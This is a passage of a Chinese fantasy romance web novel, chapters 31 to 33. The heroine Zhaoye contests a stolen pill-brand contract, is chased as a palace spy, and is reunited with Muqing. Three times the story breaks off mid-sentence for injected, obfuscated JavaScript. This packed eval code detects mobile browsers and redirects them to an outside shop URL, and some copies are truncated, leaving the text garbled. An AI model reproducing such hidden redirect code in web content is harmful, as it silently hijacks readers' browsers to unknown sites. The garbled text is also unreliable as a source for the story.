我自然要守着穆青,虽知他们是友好比试,但万一穆青受伤,我也好第一时间讹诈,不对,索要伤药费。 至于喝酒,其实是因为那段时间我正照着古籍研究酿酒,用各种粮食水果做实验。除了沾酒即醉的穆青,青莲山上下都得帮我消耗这些试验品。 没什么特别的原因,怕你迷路罢了。这青莲山可没人比我更熟悉了。至于喝酒嘛……自然是因为好喝。 自那以后,赤羽便常邀我共饮。我自然不愿跑太远,推拒了几回,他便改约在山下的青莲镇,还带了三两好友,竺可就是这样认识的。 直到穆青在晋级大会上击败他之前,赤羽隔三差五就会来请我喝酒。 那时我早已没了酿酒的兴致,便欣然赴约,乐得喝现成的。 如今回想,赤羽或许是误会了我对他有意,而穆青察觉后便防着我下山,二人由此生出嫌隙。加之穆青在晋级大会上以绝对优势胜出,他们便渐行渐远。 这一切,竟无人向我透露半分。若是尾巴在,至少会给我些提醒吧。 夜风沁凉,篝火噼啪作响。 舒岸的亲兵正烤着肉串,香气远远飘来,诱得焉耆循味而去,不管生熟张口就啃。 舒岸深夜仍在打坐,更“监督”着我在一旁散步——每见我试图赖在树下歇息,他便抬眼望来。 现在我信了,他对风的感知确实精进不少。 朝明安顿好浩哥与阿烈后匆匆赶来。 得,这下监视我运动的人又多了一个。 “没事姐姐,慢慢来,只要身体健康,胖一点点只是小事。” “人都安置妥当了?” “嗯,一个派往后营,一个当了哨骑。过两日便启程赴前线,听候北祐将军调遣。” “玉山现下如何?” 朝明并不知无相孽作乱的实情,只知守军正逐步收复失地。更可喜的是,已与玉山以南三城取得联络——那里仍有不少将士坚守,城中也有不少百姓。 我一边绕着篝火踱步,一边在脑海中勾勒人界的城池舆图。 玉山以南三城——归德、化西、天翮,其中距玉山最近的归德城受灾最重。 自无相孽祸起,因仙力对其无效,这片区域便设下了禁仙锥,既防飞兽与法器经过时被怪物掳去孕育特异孽种,也导致我先前使用万界门时被强行拦截。 “将军计划派遣一支精锐骑军深入玉山以南,与三城守军会合,设法运送熠石支援,形成南北夹击之势剿灭怪物。” “将军何时动身返回前线?” “尚未可知。此次君上似是铁了心要逼将军完婚。” 我沉吟片刻,总觉得此事另有蹊跷,便试探着打听舒岸的私事,“兄长关心弟弟成家立业本在情理之中,何况他们兄弟情深。只是这强硬逼婚……未免有些反常。” 朝明自幼随侍舒岸,知晓不少宫廷秘辛。他神色一凛,引我至树影深处,道出一则惊天秘闻——连偷听的尾巴都倒吸凉气。 原来人君舒仲竟无生育之能,所有子嗣皆过继自异母兄弟。 我顿时恍然,舒仲并非闲来无事强逼胞弟成婚,实则是想要个血脉最近的嗣子。众兄弟中,唯舒岸与他同出一母。 “天哪天哪,劲爆的消息!”尾巴兴奋地在我肩头雀跃翻滚,“如此说来,纵有三千佳丽相伴,也只能望美兴叹?哈哈哈!” “只是不能生孩子,还是能亲热呀。”我拍了拍尾巴,禁止他胡言乱语,“再说,人生在世几十载又不只是为了繁衍。” 朝明误以为我在跟他说话,挠挠头道,“话虽如此,君上需要考虑的事儿要更深远一些。” 望着舒岸在月光下挺拔如松的背影,我不禁轻叹,众生皆苦,各有枷锁。 舒岸显然厌恶归家,宁愿幕天席地宿于荒野。 我倒无所谓——有尾巴在,何处皆可为席。 那柔软的光尾竟似具实体,还会随我身形变化调整“枕头”弧度,贴心得令人惊叹。 我偷偷问尾巴,我经仙丹重塑的肉身,可还能生育? 尾巴佯装沉睡,以缄默作答。 数着指头等穆青的日子甚是难熬,距仙帝大典仅剩半月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549496|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他仍杳无音信。 我跟着舒岸“锻炼”了两天实在受不了了,灰溜溜带着没有减少一分一毫的赘肉回了家。 这些时日朝明为我张罗行头忙前忙后,倒让我生出错觉——他负责照顾的仿佛是我,而非舒岸。 “说来奇怪,我离家这些时日,怎无人炼制仙丹了?” 朝明满脸诧异,“姐姐你之前不是把青莲丹卖给了不愁行吗?我以为你嫌累,干脆不瞎扯腾了。” 我双眼一瞪,问道,“什么意思,什么卖给了不愁行?” 朝明这才告诉我,自我离开后,不愁行便全盘接手了青莲丹的制作与贩卖,生意做得风生水起。 除了最受欢迎的白肤美体丹,他们还推出了龟息养生丹、五更辟谷丹、千杯不醉丹、无垢明玉丹,甚至还有金石固齿丹、灵根固茂丹,以及……坎离交泰丹。 我听得目瞪口呆。 随着朝明如数家珍般报出这些闻所未闻的丹名,只觉头皮阵阵发麻——好家伙,连坎离交泰丹都敢卖,不愁行这三个小滑头还真是把生意做到了极致。 问清地址后,我决定亲自去探个究竟。 沿着月下街走到尽头,竟看见沧栗楼对面一栋二层小楼的门楣上,赫然悬挂着“青莲丹行”的匾额。 更离谱的是,秋日午后的烈日下,求购仙丹的人群排成长龙。门口两个凶神恶煞的门丁将我和朝明挥手赶开,呵斥我们排队。 同行的焉耆当即冲门丁狂吠龇牙,摆出攻击姿态。直到朝明亮出将军府令牌,门丁瞬间变脸,堆笑将我们请入店内,引得排队人群一片哗然。 “这令牌真好用,也给我一块呗?” 朝明尴尬一笑,“大将军购丹颇多,已是贵宾……” “……他买这么多丹药做什么?当饭吃吗?” “万一……有用呢。” 我尚未参透朝明话中深意,藏在发间的尾巴插嘴道,“他定是买了不少坎离交泰丹!说不定也有难言之隐呢!” 我顿时领悟,脸颊腾地烧了起来。 在二楼最深处的贵宾室落座,面对清香玉露茶,我心有余悸不敢多饮。朝明却连饮两杯,俨然熟客姿态。 “哎呀呀,瞧瞧谁来了!咱们的大财神,欢迎欢迎!” 饭饱饱现身刹那,目光立刻锁在我身上。他眯眼将我细细打量,突然瞪大双眼,震惊得语无伦次,“天、天啊!冤大头……哦不大福星?你怎么、怎么吃成这样了?” “好啊!竟敢打着青莲的名号做买卖,你们倒是很会做生意嘛,饭饱饱!立刻把青莲的名字撤下来,否则要你好看!焉耆!” 那黑黢黢的小家伙应声跃上桌案,对饭饱饱龇牙低吼。谁知对方竟从荷包掏出两条牛肉干递过去,这见食忘义的小东西当即安静下来。 “这是什么珍兽?倒少见。是狗么?” 饭饱饱并不急着与我交锋,反被焉耆勾起兴趣。他试探着伸手想摸它脑袋,却沾了满手墨汁。 嗅了嗅指尖,饭饱饱眼中精光一闪,“我对这小家伙颇感兴趣。姐姐不如割爱?一万利衡币如何?” “少转移话题!你们三个小骗子,凭什么盗用青莲的名号?!” 饭饱饱从容一笑,从袖中抽出一张纸笺在我面前轻晃,“当初姐姐可是白纸黑字将仙丹配方与''青莲丹''署名转让予我,这上头写得明明白白。” 我凝神细看,顿时愣住——转让单上赫然真有我的签名。 我这才恍惚记起,启程魔界前确实将白肤美体丹配方交给了饭饱饱。当时忙乱,竟未察觉他递来的文书上还有一行小字:连同青莲牌使用权一并转让。 可恶,这帮小骗子竟然深谙“小字”骗局,是我轻敌了。 31. 第 31 章照夜被当成了刺客 朝明凑近细看那份转让单,眉头紧锁,“你们竟用这等手段蒙骗照夜姐姐?掌柜的,这未免有失诚信。” “哎呀,和气生财嘛。”饭饱饱笑容可掬地向前倾身,“虽说姐姐当初是自愿转让,但念在往日情分,我愿再补一笔转让费,如何?” “我不要钱!我只要你立刻撤下青莲的招牌!”我气得一把揪住他的前襟,不料因动作太大,腹间纽扣竟“啪”地绷开。 “这是何必呢?”饭饱饱瞬间敛起笑容,深吸一口气,竟也憋着劲道,“以为崩个扣子就能吓住我?我也会!” 只听“咯嘣”一声,他衣摆的扣子应声迸飞,直落到五步开外。 “咦,照夜姐姐回来啦?” 清脆嗓音打破了剑拔弩张的气氛。头顶双角的飞高高送货归来,一眼就相中了正在大快朵颐的焉耆,“哇!好可爱的小狗!饱饱,我喜欢它!” 饭饱饱怜爱地抚了抚飞高高的发顶,整襟端坐,“照夜姐姐,这样吧,我也不愿让你吃亏。出价三万,你将配方、冠名权连同这只脏兮兮的小狗一并转让。此外再赠你贵宾身份,日后购丹皆享八折优惠,如何?” “休想!”我急忙将焉耆护在怀中,“它才不脏,刚用花露沐浴过!” 飞高高望着满手墨汁,反而开心地抚摸焉耆的脑袋,“无妨,我就喜欢这样脏兮兮的小家伙,健康!” “我最后警告你,立刻撤下青莲的招牌!” 饭饱饱摊开双手,终是收起笑意,“别以为只有你攀上了权贵可以为所欲为,我也不差。再者我是守法商人,白纸黑字写得明白,由不得你反悔!” 朝明沉声道,“原来是攀上了太师与兑贵妃的高枝,才敢如此嚣张。” “好走不送。” 两个门丁客客气气地将我们请出丹行。 见我气得脸色青白交加,朝明连忙为我扇风,劝慰,“姐姐何必与这等奸商动气?若气坏身子反倒不值。往后将军府不再采买他们的丹药便是。” “他们借大将军之名打响青莲招牌,如今早已不需倚仗将军府这棵大树了。”我颓然地擦擦眼泪,“都怪我被人骗了,竟将青莲的名号拱手相让。他若是知道了,万一大发雷霆怎么办。” 朝明急得额头冒汗,“别哭别哭!青莲仙人未必会生气。况且他们既指望青莲丹赚钱,总不敢自砸招牌,未必会损及仙誉。再说‘青莲’二字本就寻常,青莲镇、青莲桥……何处不见青莲?” “罢了,暂且如此吧。” 朝明的宽慰终究难以抚平我心中愧疚——因我心中的青莲,从来唯有那一人。 或许这份执念,不过是我对那朵只为我盛放的青莲,太过思念了而已。 仙帝登位大典前第七日,舒岸正在林中修炼时,人君派来的内侍官带来了晚宴的消息——确切地说,是来接这位执拗的大将军回宫参加“相亲”宴席。 舒岸烦躁地将大刀掷给亲卫,眼神里的警告几乎凝成实质。他虽然不会拧下对方的脑袋,但也会让对方睡上三天三夜。 那内侍显然早已习惯这般威胁,只是彬彬有礼地躬身告退。 “不过是顿宴席,何至于动如此生气。” 舒岸无奈摇头。纵有万般不情愿,他也不会违逆兄长的诏令——那终究是新朝人君,人界的主人。 “若只是逢场作戏倒也罢。”舒岸声音低沉,“可如今前线战事诡谲,更大的灾祸随时可能降临。他们自己在后方纵情声色还不够,偏要将我困在这皇城之中,实在可恨!” “说得在理。战火未烧到眉睫,便觉与己无关。毕竟冲锋陷阵的从来都是旁人。”我与舒岸一起上了马,愤然道,“在他们眼中,将士与百姓不过是砌就高墙的砖石罢了。” “唉,也不知前线实情如何。每次传来的战报都是捷报。”舒岸眉间愁云密布,自我相识以来,他似乎从未开心过。 反倒是我,自被不愁行摆了一道后,原以为会耿耿于怀,不料伤心一夜便散了。 想来天大的事总有穆青担着,待他归来,定要让他好生收拾那三个小骗子! 回了城,我本打算回家去,舒岸却叫住我,他不想独自赴宴,希望我能陪他一起去。 拒绝的话几乎脱口而出,却又戛然而止——太师施铎今夜亦在席中,人君亦会驾临。若能借此机会探听熠石截流的内情,岂非意外之获? 于是我爽快应承,虽则只能假扮婢女混入宫闱。 在将军府稍作乔装,我勉强将婢女的服饰裹在身上。衣料紧绷得仿佛每一寸血肉都在呻吟抗议,但没办法,姑且忍耐一下。 夜幕垂临,宫灯勾勒出皇城巍峨轮廓。远望一片金碧辉煌,竟比白昼更显慑人。 雨露华亭内,身份显赫的宾客早已三五成群,在园中谈笑风生。 身为主角之一的舒岸深吸一口气,扯出个显而易见的敷衍笑容,应付着络绎不绝的见礼。间隙时,他会低声向我指点那些陌生面孔的姓名官阶,以及盘根错节的人情网。 我虽点头应和,实则被勒得呼吸不畅——藏在耳后的尾巴最是清楚,我根本无心细听。 “瞧那人,”尾巴悄声耳语,“施小姐的父亲,权倾朝野的太师,施铎。” 幽暗的灯光下,我终于看到了那个这场阴谋里极其重要的人物。 男人像一柄入鞘的薄刃,过分消瘦的身形裹在层叠的紫袍里,宽大衣袖垂落时便露出一截嶙峋腕骨,苍白如冬日枯枝。 他的面容是刀削出的冷硬线条,眼窝深陷,两颊微凹,风云岁月沉淀成他眉间一道竖纹,他曾是,或者说一直是人君的老师,是他扶持舒仲击败众多竞争者坐上了人君的宝座。 与他晦暗无光不同的是,他身边的女子,他的女儿施斓却白皙如脂,光彩照人,华服翠冠彰显着她显赫的出身。 侧身之际,施铎望见舒岸的身影,立即快步上前。 “拜见大将军。“ “见过将军。“ 这对身份显赫的父女恭敬行礼。即便位极人臣,在舒岸面前却仍要甘之如饴地承受那份居高临下的威严。 我不禁暗叹,三界之中,权势的规则竟如此相似。 即便是面对年轻而缺乏自信的魔皇钩星,臣子们也会在他目光扫来前下意识垂首。 不知穆青觐见仙帝时,是否也会如此? 那个相貌平凡到在我记忆中留不下半点痕迹的少年煌木,竟是足以睥睨三界众生的仙帝。 “玉山战事吃紧,太师理应多劝谏人君思虑周全。而非隔三差五在宫中宴饮作乐。“舒岸声音冷峻,“须知玉山南三城的百姓仍在惶恐中度日,翘首以待月下州的援手。“ 施铎始终躬身垂首,谦卑回应,“玉山以南始终对当年归并月下州之事心存芥蒂,尤其天翮城屡屡违抗政令,极难管束。此事大将军最为清楚。“ “纵使千难万难,他们既已归顺新朝,奉月下为皇都,尊我兄长为人君,便是新朝子民。若此时放弃玉山以南,任由怪物肆虐,才是真正寒了民心,给了他们再度叛乱的借口。“舒岸目光如炬,“这个道理,身为君师的你,应该最明白。“ 施铎轻笑一声,始终回避着舒岸的视线,“臣定当仔细斟酌。“ 一旁的施斓插不上话,只得目送意中人离去,眼中难掩失落。 行至拱桥旁,舒岸长叹一声,转身关切道,“照夜,这衣裳是否太过紧了?你脸色都憋得通红。“ “有点紧,我最近一点没瘦。” 舒岸展颜一笑,阴霾尽散,抬手拍拍我的肩头,“不必太过拘礼。解开两枚扣子也无妨。这些人啊,目光只会追随着位高权重者。“ 我连忙解开高耸的衣领,清冽空气终于涌入胸腔。四下张望后,我低声问道,“怎不见人君?“ “哼,故作深情。“舒岸面露讥诮,“每晚这个时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哈哈哈......萤火仙人,你可是在怕青莲知晓你设计支开他的小尾巴后,与你反目成仇?“名为溟牙的男子踱步至宋莹面前,尖削下巴如斧凿般凌厉。他俯身贴近她耳畔,苍白手指轻抚过对方脖颈,“还是说......你对仙帝怀有二心?“ “二位,君上龙体欠安,不便接见。若有要事,不妨改日再议。“ 正当此时,一股冰冷黏腻的触感突然缠上我的脚踝。 我浑身一颤,险些惊叫出声——一条背生疙瘩的黑蛇正紧紧缠绕在我脚腕上,毒牙间滴落着晶莹涎液! 几乎同时,那双蛇瞳蓦地转向我藏身的窗口,“有一只,肥硕,又不知死活的猫儿在偷窥。” “尾巴!” 随着我的低喝,金光乍现,利刃般将毒蛇斩作数段。 行踪既露,必须立即逃离! 尾巴拖住我的屁股,轻轻一抛我便落至屋顶。紧接着四肢被金色仙力裹挟,在错综的宫宇间飞奔腾跃。我喘得上气不接下气,身后追兵呼喝渐近,身躯却不受控制地持续狂奔。 终于攀上一座塔楼,趁守卫不及反应,我纵身跃下,没入下方幽深的池塘。 就在即将溺毙之际,一双有力大手将我捞出水面。 “照夜!没事吧?“ 我呛着水趴在池边剧烈咳嗽。 不知何时赶到的舒岸抬手屏退侍卫,“我的人,退下。“ 舒岸几乎是将我拎出宫门塞进轿中,“说是去更衣,结果却成了落汤鸡。“ 我大腿根处传来撕裂般的疼痛,许是狂奔时拉伤了肌肉。 自知险些闯下大祸,我声若蚊蝇,“我......其实去偷听了。“ “我必须提醒你,哪怕你与青莲关系匪浅,又是仙籍,也需谨言慎行。“舒岸神色凝重,“此处终究是人界,若触犯律法,一样要下狱问罪。“ 轿辇忽然停在半路。舒岸一怔,掀帘瞥了眼窗外,脸色顿时沉了下来。 32. 第 32 章 照夜可是有青莲撑腰! “是不是有人来抓我了?”我脸色煞白,声音发颤。 舒岸按住我的肩膀,沉稳道,“无妨。” 轿外传来低沉浑厚的嗓音,胆敢拦截当朝大将军的,绝非等闲之辈。 我悄悄从帘缝望去,只见舒岸已下轿负手而立,冷眼审视着拦路的一男一女——二人身后还跟着七八名侍卫。 尾巴在我头顶悄声张望,“若再将身体交给我操控,怕是真要散架了。” 我疼得龇牙咧嘴,“饶了我吧!再折腾一次非得碎成八瓣不可!” “哎,拖后腿的照夜。” 我捶了它一拳,屏息凝神注视着与舒岸对峙的二人。 “大将军,刺客此刻正藏于轿中。吾等奉君上之命,特来缉拿。” “轿中乃是本将军挚友。晋川,尔等怕是追错了方向。” 闻听此言,我心头一凛,再度细看那名唤晋川的男子。 此人温文尔雅,未着铠甲,后腰仅别一支光秃无叶的枯枝。素白长衫之下,竟藏着曾震动仙界的囚徒之身。 百年前,晋川凭绝顶战力跻身玄珠阵列,却因仙魔大战中违抗三鸿珠仙令,被地刑司削去仙籍,逐出仙界。此后销声匿迹,不想竟被人君收归麾下。 “此人极其危险。”尾巴缩进我衣领,语气罕见地凝重,“仙术迅疾,体魄强健,是真正的强者。” “师兄,吾等只奉君命,余者不问。”同样白衣的女子卸下背后长弓,面若寒霜,“大将军,得罪了。” 变故骤生于瞬息之间! 未及眨眼,轿厢轰然碎裂。 我勉力抬头,只见晋川已凌空而立,冷眼俯视。 一支赤焰箭簇正抵在我眉心,另一端却被舒岸牢牢攥住。他怒目圆睁,掌心因擒住流星般的箭矢而皮开肉绽,鲜血滴答坠地。下一刻,他竟执火矢为剑,直刺晋川! “休想带走她!” 舒岸的亲兵及时赶到,两方人马竟在长街之上兵戎相见。霎时间飞沙走石,砖瓦迸裂,远处百姓纷纷避让,却又忍不住驻足围观。 我趁机躲到一旁,见尾巴并未显形,反倒兴致盎然地观战,“瞧见没?单论肉身战力,两个修仙者竟敌不过凡胎的舒岸。” 确实如它所言,那对白衣男女未敢贸然动用仙术压制,仅以体术周旋。许是顾忌舒岸身份,又或许是对这凡人之躯存着几分敬意。 电光石火间,舒岸接过朝明抛来的大刀,以雷霆万钧之势劈向晋川。后者枯枝应声出鞘,竟化作墨色游龙格挡。而其师妹则趁机张弓,箭簇褪去烈焰,凝着森寒杀意,直指舒岸破绽—— 他们低估了舒岸胸中积压的怒火,更小觑了这个面对百倍强敌仍誓死不屈的男人的意志! “你说小青能打得过舒岸吗?” “难说。照夜,你要明白,过度依赖仙力反而会削弱肉身的协调、柔韧与灵敏,最终沦为徒具四肢的仙力容器。” “……我怎么觉得你在骂我。” 尾巴大笑着托起我的下巴,迫使我望向对面屋顶——那个竖瞳幽冷的魔族男子溟牙,不知何时已悄然现身。 “那人什么来历?” 尾巴轻叹,“他暂未显露敌意。值得注意的是……”话音未落,宋莹的身影也出现在那毒蛇般的男子身侧。 她对街心的混战漠不关心,只蹙眉紧盯着我。 “称仙帝为师尊,溟牙应是渊寂门下——不过‘爪牙’二字更配他。有趣,区区未授阶的仙徒,竟敢威胁上仙。” 我蹲得双腿发麻,回头一瞥,裙衫不知何时已绷裂,腰腹软肉不受控地溢了出来。 扶着梁柱勉强站起,我抱怨道,“尾巴,我大腿疼得厉害,是不是拉伤了。” “忍忍,我现在也没办法给你按摩。你看看气氛好不好,笨蛋!” “你这么凶干嘛,都怪你搞这么大动静,人君以为我是刺客要砍我的头。” 见我委屈地噘着嘴,尾巴藏进发间,轻轻揉着我耳垂安抚,“别慌,马上分出胜负了,你的大救星,回来了。” 夜空中忽然飘落无数青绿花瓣。花雨翩跹间,风迹清晰可辨。 飞花缠住所有兵刃,如无形巨掌般收紧压制,令挣扎的众人动弹不得。继而一缕花瓣轻绕我腰间,悄然弥合了裙上的裂痕。 “晋川,川晋。何时起,以二敌一成了你们师门的作风?真是辱没师名。” 我怔怔望着拨开花雨现身的青衣男子。仙力凝成的青莲花瓣在他指间足畔流转,话音落时又悄然融回他体内。 晋川一震枯枝,冷嗤收势,向我投来冰刃般的审视,“青莲,你这多管闲事的毛病该改改了。你是仙人,不是侠客。” “他不是,老子是!” 浑厚嗓音破空而来。 下一瞬,虬髯短衫的壮汉如惊雷乍现于溟牙身后。他瞪目环视众人,举起硕大酒葫芦仰头痛饮,磅礴气势压得溟牙瑟缩不敢妄动。 围观人群中忽有妇人激动高呼,“是醉侠方有之!方大侠!” 欢呼与掌声如潮涌起。 我恍然大悟,跟着众人雀跃挥手。 尾巴的埋怨被喧嚣淹没,“喂!你凑什么热闹!” “尾巴!是《醉侠传》里的方有之啊!”我激动得语无伦次,“小时候阿爹总讲他的故事哄我们入睡!天啊,我见到真人了!” 被我晃得晕头转向的尾巴大喊,“冷静!你这肤浅善变的家伙!” “哎呀呀,许久不来月下州,竟变得这般热闹了?”一道清越女声随风而至,手持雪白羽扇的女子翩然落在宋莹身侧,凤眼流转间带着三分轻蔑,“堂堂大弟子带头离山,引得门人四散。有人因怕落榜,竟向渊寂表忠,算计故友。宋莹,仙人位阶就这般令你割舍不下?” 此时,一位高大男子拨开人群,扶起双手染血的舒岸,声若洪钟,“还不快滚!待老夫查清缘由,定要教训那个纵容兄弟相残的不肖子孙,简直辱没贤君威名!” 晋川眼见接连现身的救兵一个也惹不起,只得拱手道,“谨遵振岳仙人之命,告辞。” 虽不知冲突缘由,但百姓心中自有一杆秤——一方是护国守土的灭妖大将军,还有行侠仗义的大侠客,孰正孰邪再分明不过。 待晋川师兄妹、溟牙与宋莹带着侍卫悻悻离去时,长街上爆发出经久不息的欢呼。 眼尖的百姓早已将方有之团团围住索要签名,深更半夜的街道竟比白日更显喧腾。 穆青转身望来,唇畔含笑快步走近。他脱下外衫轻柔裹住我,温声道,“衣裳确实有些紧了,明日便去裁制新衣。” “你……还认得出我?我都胖得变了样。” 粗糙指腹拭去我眼角泪花,穆青展开双臂将我拥入怀中,“傻瓜,不过是丰润些许,怎会认不出?你可是世间独一无二的照夜。” 这些时日的委屈与思念尽数化作泪水,我在他怀中放声大哭,“你也是独一无二的小青,我好想你。” “嗯,我也一样,无时无刻不想。” “对了!有人欺负我!” “不怕,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549498|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你报仇去。” 仙帝登位大典前第六日凌晨,分别不足三月的穆青终于归来。 我们迫不及待地回到家中亲热一番,直至天光微熹仍难分难舍。 朝明前去接应舒岸时,顺带喂饱了焉耆。不知这小家伙吞了多少吃食,此刻正肚皮圆滚地四仰八叉躺在地上打呼噜。尾巴则蜷在焉耆蓬松的毛发里——他也喜欢睡觉时被包裹呵护的感觉。 穆青轻拂我额间汗湿的发丝,吻了吻我的鼻尖,手掌整夜都未曾离开我这对“香瓜”,“不要紧,慢慢来,现在的你我也很喜欢,确切说无论照夜变成什么样子我都好喜欢。” “骗人,若有一天我变成了尾巴呢?” “也喜欢,若你变成尾巴,我就把你藏在我身体里,寸步不离,永世相守。” 困意袭来,我努力缩进穆青温暖的怀抱,呓语般呢喃,“我也一样……若有一天你变成尾巴,我也爱你。” 一夜的混乱,只在长街碎裂的瓦砾间留下些许痕迹。 穆青归来后的第二件事,便是带我去裁制新衣。他深知我的喜好——素色衣衫,方领微敞衬出锁骨的弧度,裙裾间垂落的珍珠,还有那些闪闪烁烁的首饰。 量体间隙,我们互诉别后种种。 他与振岳仙人此行只寻得两位愿施援手的散仙,一位是酒剑双绝的醉侠方有之,另一位是总摇着纯白羽扇的白翎仙人翎波。亏得振岳与他们是故交,知晓其隐居之处,否则断难在短时间内请动这两位。 此外他们还拜访了金蚕、碧叶、灵枢等持中立态度的上仙,却皆无功而返。 说到底,单凭振岳一梦,实难指证渊寂与仙帝之死有关。 更蹊跷的是,灵枢仙人以梦池灵镜解析时,那所谓仙帝托梦的痕迹竟已消散无踪。 我也将魔界经历娓娓道来——因吸纳过量仙力身形走样,结识浩哥阿烈共捣卵壳,以及焉耆这上古妖兽的来历。 穆青凝神细听,眼中忧色稍纵即逝,随即化作温然笑意。 新衣量罢,我迫不及待拉他去讨公道。当“青莲丹铺“的招牌映入眼帘,穆青眸光微沉。 听我讲述被不愁行设计的始末,他指节捏得发白。 穆青径直越过门口打手,将“打烊“木牌悬于门首,不顾排队人潮,挥手间花瓣纷飞制住门丁,三言两语劝离了不明就里的顾客。 闻得楼下动静,衣多多率先冲下,见是穆青顿时呆立当场。随后是腆着肚皮的饭饱饱,他强自镇定地整衣下楼。 “见过青莲仙人,不知仙驾莅临——“ 穆青执起我的手,唇角含笑却字字千钧,“契约单取来。“ 雅室之内,我抱着茶壶牛饮——万金一盏的雨露梨香茶,我今日定要喝个痛快! 衣多多翻找契约时,饭饱饱独对穆青威压,额间冷汗坠湿衣襟,腋下已洇出深色的水痕。 “青莲仙人,当日照夜姐姐白纸黑字将配方与冠名权无偿转让。纵是仙人,也该守两界律法。“饭饱饱强自挺直腰板,“莫非仙人也要恃强凌弱,与凡间恶霸无异?“ 穆青并未理会这般诛心之论,待衣多多颤巍巍递上契约,他展卷细阅后竟当众将其化为齑粉。 “青莲仙人,你——” “饭掌柜需知,“穆青声淡如烟,“只要我在,便无人可欺照夜。纵你骂我仗势欺人,也无妨。“ 我见衣多多和饭饱饱的脸一阵红一阵白,心中畅快,神清气爽,抚掌大笑道,“啊哈哈哈,你们几个小骗子,没想到吧,我有人撑腰!” 33. 第 33 章渊寂仇人真多 饭饱饱不愧是不愁行的主心骨,即便只是凡人之躯,却仍旧敢以利言回敬战力超群的仙人,“恃强凌弱,以大欺小——原来仙人也不过如此。今日我们输给你,非是输给公理,而是输给强权。我们三人认输,但绝不心服!” “少在这里颠倒黑白!”我气得满脸通红,拍案而起,“明明是你们欺诈在先,竟还装作义正辞严的模样!当初只当你们有些经商之才,想一同做些正经买卖,谁料你们竟用这等下作手段!还有脸提公理?简直恬不知耻!” 衣多多早已吓得魂不附体,瑟缩在饭饱饱身后不住颤抖。 可那胖少年却如磐石般岿然不动,字字铿锵,“那又如何?弱小之人若不用些手段,何时才能出人头地?即便我不用,旁人就不会用么?我有必须守护的人,有非做不可的事!纵使手段卑劣,也在所不惜。我本就是凡人,甘愿承认自己的卑鄙无耻!要怪,就怪这世间从未给过我们公平!” “饱饱,别说了……”衣多多扯着他的衣袖,声音带着哭腔,“我们还要回家去……算了吧……” 我眉头紧蹙,“回家?你们家在何处?” “与你无关!” 向来沉稳的饭饱饱此刻死死盯住面无表情的穆青,那双攥紧的拳头竟与我一般圆润白皙。 “三百余年前,”穆青的声音如寒泉流淌,“仙界极北的冥海之境,万丈寒渊之下曾有一支名为''渟''的种族。他们是深海遗民,世代蛰居在北冥海沟无光之境的洞窟中。那洞窟中蕴藏着''九幽阴火'',至阴至寒,既能冻结仙力,亦可淬炼''渟冥铁''。” “渟族?”我心中一震,立时想起在某本古籍上读到的关于这个已湮灭种族的记载。 而饭饱饱闻言更是双目圆睁,眼中惧色与痛楚交织,仿佛被唤醒了最恐怖的梦魇。 穆青继续缓缓道来。 渟冥铁只孕育于海洞至深之处,色如永夜,触之冰髓彻骨。正因它能封锁仙力,反倒成了铸造丹鼎的至宝,可使仙力凝聚不散,完美淬炼仙丹。 为避免自身仙力与渟冥铁相互干扰,渟族人自幼便要经受“锁灵秘仪”,封闭灵关窍,令先天之气内敛成潭,不泄分毫。此法虽使仙力不得外散,却也让族人身形臃肿如丘,又因终年不见天日,个个肤白如纸。 后来仙帝煌木为铸造万鼎之炉,遣帝使携天威降临,许以重利。 然而族长渟岳昂首拒之,慨然道,铁有冥灵,鼎承天命。非德所载,神铁自晦;非道所驭,仙鼎亦崩! 煌木闻讯震怒,视其为藐视天威,遂遣仙军征伐北冥。 渟族人因“锁灵秘仪”之故,体内仙气运转滞涩,渐陷绝境。血战数十日后,海洞崩毁,渟族终至覆灭。 随着穆青的叙述,饭饱饱的脸色渐渐灰败如死。他死死瞪视着我们,眼中燃着刻骨的仇恨。 “咦,今天怎么这么早就打烊了?呃……有客人?”清脆的嗓音如银铃般打破了紧绷的气氛。 飞高高推门而入,猝不及防地撞见这诡异对峙的一幕。而她怀里,竟抱着焉耆。 我大惊失色,连忙将小狗夺回,蹙眉质问,“你不会是去我家偷狗了吧?” 飞高高脸颊泛红,梗着脖子辩解,“才没有!我送货回来路上遇见它,就逗它玩了一会儿。看它在街上找吃的,想着带回来喂点东西。既然你养了它,怎么不好好照顾……” “胡说!出门前才把它喂饱的。”我拎起正吐着舌头摇尾示好的小狗,它圆鼓鼓的肚子都快撑成球了。 “照夜,”饭饱饱终于在与穆青的无声对峙中败下阵来,冷汗已浸透衣衫,呼吸艰难如被扼住咽喉,“我们会撤下青莲的招牌,离开月下州。从此恩怨两清。”他顿了顿,声音沙哑,“虽然骗了你,但我不会道歉。你为人单纯,往后……还是多留个心眼。” 不知为何,听完渟族的故事后,我心里很不是滋味。 重新打量这个白胖少年,他眼中不再有狡黠,只剩难以言说的哀恸。他是渟族后裔,却未在海洞中久居——渟族因长年居于暗处淬炼渟冥铁,族人大多视力不佳,眼珠常蒙着一层白雾。 